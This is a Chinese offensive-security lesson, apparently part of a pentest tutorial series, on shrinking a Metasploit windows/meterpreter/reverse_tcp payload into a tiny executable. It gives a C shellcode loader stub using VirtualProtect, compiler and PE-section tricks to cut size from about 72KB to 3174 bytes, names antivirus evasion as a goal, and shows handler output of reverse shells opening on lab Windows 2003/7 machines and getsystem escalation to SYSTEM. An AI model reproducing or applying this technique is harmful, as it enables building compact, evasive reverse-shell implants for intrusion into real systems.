攻击机:
192.168.1.5 Debian
靶机:
192.168.1.4 Windows 7
192.168.1.119 Windows 2003

payload:windows/meterpreter/reverse_tcp

payload生成:

原始payload大小如下:
73802字节,大概在72KB

  1. root@John:/tmp# du ‐sb First.exe
  2. 73802 First.exe

提取windows/meterpreter/reverse_tcp shellcode

第九十四课:基于实战中的small payload - 图1

建立Micropoor_small_payload工程,配置如下:

第九十四课:基于实战中的small payload - 图2

源码如下:

  1. # include <windows.h>
  2. int main(void)
  3. {
  4. char *shellcode = (char *)"Micropoor_shellcode";
  5. DWORD Micropoor_shellcode;
  6. BOOL ret = VirtualProtect(shellcode, strlen(shellcode),
  7. PAGE_EXECUTE_READWRITE, &Micropoor_shellcode);
  8. if (!ret) {
  9. return EXIT_FAILURE;
  10. }
  11. return EXIT_SUCCESS;
  12. }

原始shellcode_payload大小如下:
75776字节

优化:
在优化的过程中,需要确保

  • 性能
  • 稳定性
  • 大小
  • 可塑性
  • 免杀性

无使用预编译头,故否
第九十四课:基于实战中的small payload - 图3

无需调试信息,故否

自定义入口点:execMicropoor_shellcode
第九十四课:基于实战中的small payload - 图4

再次编译:

payload大小如下:
4608字节
第九十四课:基于实战中的small payload - 图5

  1. [*] Started reverse TCP handler on 192.168.1.5:53
  2. [*] Sending stage (179779 bytes) to 192.168.1.119
  3. [*] Meterpreter session 4 opened (192.168.1.5:53 ‐> 192.168.1.119:3887) at 20190127 14:30:27 0500
  4. meterpreter > getuid
  5. Server username: WIN03X64\Administrator
  6. meterpreter >

第二次优化payload:

载入PEID
第九十四课:基于实战中的small payload - 图6

合并data to text,rdata to text 在次生成。

Section变化如下:

第九十四课:基于实战中的small payload - 图7

payload大小如下:
4096字节

第二次靶机测试:分别测试Windows 2003,Windws 7,reverse OK。

在00000E60起含有大部分000h,充填掉00,在次生成payload。

  1. 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
  2. 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
  3. 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
  4. 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
  5. 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
  6. 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
  7. 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
  8. 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
  9. 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
  10. 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
  11. 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
  12. ....

第九十四课:基于实战中的small payload - 图8

payload大小如下:

3174字节

第三次靶机测试:分别测试Windows 2003,Windws 7,reverse OK。并且最终编译运行库依然为:/MT

第九十四课:基于实战中的small payload - 图9

  1. msf exploit(multi/handler) > exploit
  2. [*] Started reverse TCP handler on 192.168.1.5:53
  3. [*] Sending stage (179779 bytes) to 192.168.1.119
  4. [*] Meterpreter session 11 opened (192.168.1.5:53 ‐> 192.168.1.119:3894) at 20190127 14:56:30 0500 6
  5. meterpreter > getuid
  6. Server username: WIN03X64\Administrator
  7. meterpreter > getpid
  8. Current pid: 3152
  9. meterpreter > getsystem
  10. ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
  11. Server username: NT AUTHORITY\SYSTEM

第九十四课:基于实战中的small payload - 图10

第四次优化payload:

…….